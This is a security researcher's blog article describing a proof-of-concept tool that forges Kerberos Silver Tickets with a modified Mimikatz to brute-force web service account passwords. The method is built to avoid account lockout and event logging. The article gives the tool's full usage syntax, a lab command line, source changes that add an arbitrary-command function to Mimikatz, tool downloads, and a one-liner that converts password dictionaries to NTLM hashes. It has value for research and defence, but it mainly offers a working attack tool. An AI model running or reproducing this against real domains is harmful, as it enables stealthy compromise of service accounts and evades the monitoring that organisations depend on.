[ Beneath the Waves ]

Mimikatz 2.0 - Brute-Forcing Service Account Passwords

Ben Lincoln

 

While I was experimenting with the implications of the functionality discussed in the other two Mimikatz 2.0 articles, I made a discovery I thought was interesting.

Mimikatz author Benjamin Delpy wrote to me to mention Kerberoast, which operates on similar principles, but is much more efficient. Kerberoast requests a valid TGS from the KDC, which is likely to generate certain types of event log entry. The POC tool described below does not, but does send many invalid tickets to the target web service. This activity should not be logged by default, but would appear more suspicious if it were logged. I would suggest using Kerberoast unless you have a good reason not to.

Additionally, he let me know that Mimikatz actually includes built-in functionality for launching OS commands — it just wasn't well-documented at the time. For example, to cause it to launch Notepad against the Windows® HOSTS file, the command would be process::start "notepad.exe c:\windows\system32\drivers\etc\hosts" (assuming the file is in that location, of course).

Table of contents

  1. "Kerberized" Service Account Password Brute-Force
  2. Usage Instructions
  3. Notes on Performance
  4. Modifications to Mimikatz
  5. Downloads

"Kerberized" Service Account Password Brute-Force

A Silver Ticket for a web application accessed via a DNS entry with an SPN can be created using the NTLM hash of the password for the service account associated with that SPN (as discussed in Mimikatz 2.0 - Silver Ticket Walkthrough).

If everything about that ticket-generation operation is valid except for the NTLM hash, then accessing the web application will result in a failure. However, this will not cause a failed logon to appear in the Windows® event log. It will also not increment the count of failed logon attempts for the service account.

Therefore, the result is an ability to perform brute-force (or, more realistically, dictionary-based) password checks for such a service account, without locking it out or generating suspicious event log entries.

I thought this was pretty neat, and wanted to see if it could be automated. What I present here is a proof-of-concept/prototype — it can only be used to check about one password per second, but it does work as advertised.

All of the necessary components are in the download package at the bottom of this page. The source code for all components is also available if anyone is interested.

To use this proof-of-concept utility, you'll need everything you would to create a Silver Ticket (see Mimikatz 2.0 - Silver Ticket Walkthrough) — except for the hash/keys of course — as well as the following:

  1. A list of NTLM hashes to test. If you have a password dictionary, you can convert it into NTLM hashes some command-line Perl.[1]
  2. A URL on the target web application which will do one or both of the following:
    1. Return a non-200 HTTP status code on authentication failure. No extra information is required for this.
    2. Include certain text on the page if authentication was successful. If this is required, then you will need a string or regular expression which will match the text in question.
  3. Version 2.0, 3.5, or 4.0 of the .NET Framework installed on the system where the attack will be launched from. Use the utilities in the corresponding subfolder of the package based on which framework version is available.
  4. The hacked version of Mimikatz (included in the package below).

Warning

This is a proof-of-concept, not a production-ready attack tool. For example, all of the paths used must be free of spaces in their names. This is because I was not able to figure out how to properly escape double-quotes through 3+ layers of command-line indirection. Use at your own risk!

Usage Instructions

Once you have the prerequisites from the first section, you can call the appropriate (for your .NET version) SPNWebBruteForce.exe using the following syntax:

 

SPNWebBruteForce.exe -m [path to mimikatz.exe] -k [path to KWPD.exe] -i [path to list of NTLM hashes to test] -url [target URL] -d [test domain name] -s [domain SID] -t [target SPN name] (-a [test account name]) (-ur [user RID for the target account]) (-gr [list of comma-delimited group RIDs for the target account]) (-top [text on page indicating a positive result]) (-ua [user-agent string])

 

In my test lab, I used the following command:

 

"C:\Mimikatz\SPNWebBruteForce\NET35\SPNWebBruteForce.exe" -m "C:\Mimikatz\HackedMimikatz\x64\mimikatz.exe" -k "C:\Mimikatz\SPNWebBruteForce\NET35\KWPD.exe" -i "C:\Mimikatz\SPNWebBruteForce\Test_Hashes.txt" -url "http://udwebapp1/adduser.aspx" -d "vln2012.local" -s "S-1-5-21-3871786346-2057636518-1625323419" -t "udwebapp1.vln2012.local" -a "admin2" -ur "1002" -gr "512,513" -top "admin2"

 

The Test_Hashes.txt file contained 301 NTLM hashes. The first 300 were the NTLM hashes for the first 300 rows in the famous rockyou.txt password list. The final hash was the correct hash for the service account being targeted.

Notes on Performance

The limitations of this proof-of-concept are mostly due to my poor C programming skills. Operating in the context of a Mimikatz-modified session requires that Mimikatz have launched the process in question. I am not aware of a way to do this in the stock version, so I modified it to include an additional function (misc::exec) which can be used to launch an arbitrary command. It doesn't wait for that process to exit (that would be far beyond my C abilities), so a rudimentary form of inter-process communication is used:

  1. The master process (SPNWebBruteForce.exe) launches Mimikatz with a series of function calls.
  2. Mimikatz purges the Kerberos token list for its session, then injects one based on the current NTLM hash being tested.
  3. Mimikatz then executes a concatenated set of two commands: the first triggers KWPD.exe to request the target web page and place its contents in a temporary file. The second generates an empty, second temporary file, but does not execute until after the first command has completed.
  4. The master process waits until the second file has appeared, then considers that operation to be "complete". The contents of the first temporary file are parsed, then both files are deleted.
  5. The master process proceeds to the next iteration, unless a valid hash has been found.

All of this could take place within Mimikatz itself, or someone with better C skills could modify my misc::exec function to wait until the called process has completed before returning, or someone could write their own tool from scratch to do just this one thing. I only wanted to prove it was possible, not spend days or weeks building a production-quality attack tool :).

Silver ticket password-check demo
[ Hash generation ]
Hash generation
[ Success ]
Success
     

 

 

Modifications to Mimikatz

If you don't trust me to have left everything else untouched, or are curious for other reasons, you can reproduce my changes using the following steps. See after the steps for the detailed code blocks.

  1. In mimikatz/modules/kuhl_m_misc.h, add in the declaration of kuhl_m_misc_exec.
  2. In mimikatz/modules/kuhl_m_misc.c, add kuhl_m_misc_exec to the definition of KUHL_M_C kuhl_m_c_misc[].
  3. In mimikatz/modules/kuhl_m_misc.c, add in the function definition for kuhl_m_misc_exec.

In the following blocks of code, black text indicates existing Mimikatz code, and green text indicates the additional code required for the modifications. I have only included a few lines of surrounding existing code for context, not the entire code for each file.

mimikatz/modules/kuhl_m_misc.h:

 

#include "../modules/kull_m_remotelib.h"

 

const KUHL_M kuhl_m_misc;

 

NTSTATUS kuhl_m_misc_cmd(int argc, wchar_t * argv[]);

NTSTATUS kuhl_m_misc_exec(int argc, wchar_t * argv[]);

NTSTATUS kuhl_m_misc_regedit(int argc, wchar_t * argv[]);

NTSTATUS kuhl_m_misc_taskmgr(int argc, wchar_t * argv[]);

 

mimikatz/modules/kuhl_m_misc.c (1/2):

 

#include "kuhl_m_misc.h"

 

const KUHL_M_C kuhl_m_c_misc[] = {

{kuhl_m_misc_cmd, L"cmd", L"Command Prompt (without DisableCMD)"},

{kuhl_m_misc_exec, L"exec", L"Execute command "},

{kuhl_m_misc_regedit, L"regedit", L"Registry Editor (without DisableRegistryTools)"},

{kuhl_m_misc_taskmgr, L"taskmgr", L"Task Manager (without DisableTaskMgr)"},

 

mimikatz/modules/kuhl_m_misc.c (2/2):

 

NTSTATUS kuhl_m_misc_cmd(int argc, wchar_t * argv[])

{

kuhl_m_misc_generic_nogpo_patch(L"cmd.exe", L"DisableCMD", sizeof(L"DisableCMD"), L"KiwiAndCMD", sizeof(L"KiwiAndCMD"));

return STATUS_SUCCESS;

}

 

NTSTATUS kuhl_m_misc_exec(int argc, wchar_t * argv[])

{

PCWCHAR szCommand = NULL;

kull_m_string_args_byName(argc, argv, L"command", &szCommand, NULL);

 

kprintf(L"Command to execute : %s", szCommand);

kuhl_m_misc_generic_nogpo_patch(szCommand, L"DisableCMD", sizeof(L"DisableCMD"), L"KiwiAndCMD", sizeof(L"KiwiAndCMD"));

return STATUS_SUCCESS;

}

 

NTSTATUS kuhl_m_misc_regedit(int argc, wchar_t * argv[])

{

kuhl_m_misc_generic_nogpo_patch(L"regedit.exe", L"DisableRegistryTools", sizeof(L"DisableRegistryTools"), L"KiwiAndRegistryTools", sizeof(L"KiwiAndRegistryTools"));

return STATUS_SUCCESS;

}

 

 
Download
File Size Version Release Date Author
Silver Ticket Brute Force (Proof-of-Concept) 328 KiB 1.0 2014-11-09 Ben Lincoln and Benjamin Delpy
 
 
Download
File Size Version Release Date Author
Silver Ticket Brute Force (Proof-of-Concept) (Source Code) 9 MiB 1.0 2014-11-09 Ben Lincoln and Benjamin Delpy
This is the source code for the tools used in the proof-of-concept. Unless you want to build your own customized version of the tools, you probably don't need it.
 
Footnotes
1. If you don't already have the Perl Digest::MD4 CPAN module installed, you'll need to issue two commands first:
cpan App::cpanminus
cpanm Digest::MD4
Once that module is installed, assuming your dictionary is in /home/someuser/passwords.txt, you can convert it into a list of NTLM hashes using the following messy command:
for INPASSWORD in `cat /home/someuser/passwords.txt`; do echo $INPASSWORD | perl -ne 'use Encode;use Digest::MD4 qw(md4_hex);chomp;printf("%s\n", md4_hex(encode("UTF-16LE", $_)));'; done
[ Based on How to produce test hashes for various formats, the OpenWall Community Wiki ]
 
[ Page Icon ]